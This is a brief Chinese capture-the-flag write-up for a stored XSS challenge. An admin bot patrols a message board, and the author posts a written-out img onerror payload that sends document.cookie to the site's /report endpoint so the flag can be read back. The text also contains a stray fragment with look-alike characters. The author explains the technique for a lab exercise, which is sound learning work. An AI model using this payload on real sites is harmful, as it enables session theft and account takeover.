提示：把心情写在墙上。管理员会不定时巡查留言
点击进入留言板后发现可以留言。
点进证据回收站后发现有个传参。
所以我们可以在留言输入这个传参，传参带着cookie，当管理员（机器人）带着自己的身份凭证 Cookie 定时巡查留言板时，就会把这个cookie顺便带出来。
所以可以设计一下payload：
<img src=x onerror="new Image().src='/report?c='+encodeURIComponent(document.cookie)"><img src=x οnerrοr="">很常见。
因为不可能有src=x，所以就会触发onerror。
**new Image().src**本质是让浏览器悄悄发起一次 GET 请求加载 "图片"。
因为有/report?c=，所以会顺便把后面进行URL编码后的cookie带出来。
回到回收站能直接看到flag。
